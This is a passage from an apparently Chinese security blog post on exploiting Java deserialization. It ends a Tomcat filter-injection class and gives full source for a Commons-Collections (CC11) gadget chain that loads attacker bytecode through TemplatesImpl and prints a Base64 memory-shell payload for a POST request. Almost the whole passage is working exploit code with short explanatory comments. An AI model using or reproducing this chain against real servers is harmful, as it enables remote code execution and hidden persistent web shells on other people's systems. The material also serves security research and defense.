                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(name, filterConfig);
                response.getWriter().println("Success");
                response.getWriter().flush();
                response.getWriter().close();
            }
        }catch(Exception e){
            e.printStackTrace();
        }
        return true;
    }
}

run代码实现

这里和回显部分相同

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
package deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class run {
    public static void main(String[] args) {
        try{
            //获取字节码
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(deserialize.run.class.getClass()));
            CtClass ctClass = pool.get("deserialize.TD");
            ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = ctClass.toBytecode();

            CtClass ctClass2 = pool.get("deserialize.memery");
            byte[] classBytes2 = ctClass2.toBytecode();
            System.out.println("post请求参数wangdefu\\n"+Base64.getEncoder().encodeToString(classBytes2));

            byte[][] targetByteCodes = new byte[][]{classBytes};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();

            Field f0 = templates.getClass().getDeclaredField("_bytecodes");
            f0.setAccessible(true);
            f0.set(templates,targetByteCodes);

            f0 = templates.getClass().getDeclaredField("_name");
            f0.setAccessible(true);
            f0.set(templates,"name");

            f0 = templates.getClass().getDeclaredField("_class");
            f0.setAccessible(true);
            f0.set(templates,null);
            //最终要调用到TemplatesImpl的newTransformer()方法

            InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
            HashMap innermap = new HashMap();
            LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
            //利用LazyMap的get()来触发transform()。TiedMapEntry类的getValue()调用LazyMap的get()方法
            TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
            //触发点: 在Hashset的readObject方法中,会去调用map的put方法,这里的map为Hashmap的对象,然后会逐步调用到TiedMapEntry类的getValue()方法

            //查一下hashSet
            HashSet hashset = new HashSet(1);
            hashset.add("foo");

            Field f = null;
            try {
                f = HashSet.class.getDeclaredField("map");
            } catch (NoSuchFieldException e) {
                f = HashSet.class.getDeclaredField("backingMap");
            }
            f.setAccessible(true);
            HashMap hashset_map = (HashMap) f.get(hashset);

            Field f2 = null;
            try {
                f2 = HashMap.class.getDeclaredField("table");
            } catch (NoSuchFieldException e) {
                f2 = HashMap.class.getDeclaredField("elementData");
            }

            f2.setAccessible(true);
            Object[] array = (Object[])f2.get(hashset_map);

            Object node = array[0];
            if(node == null){
                node = array[1];
            }
            Field keyField = null;
            try{
                keyField = node.getClass().getDeclaredField("key");
            }catch(Exception e){
                keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
            }
            keyField.setAccessible(true);
            keyField.set(node,tiedmap);

            Field f3 = transformer.getClass().getDeclaredField("iMethodName");
            f3.setAccessible(true);
            f3.set(transformer,"newTransformer");

            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
            inputStream.readObject();

        }catch (Exception e){
            //e.printStackTrace();
        }

    }
}

#参考

  1. Shiro 反序列化漏洞利用工具编写思路

  2. Java代码执行漏洞中类动态加载的应用

  3. 基于全局储存的新思路 | Tomcat的一种通用回显方法研究

加载评论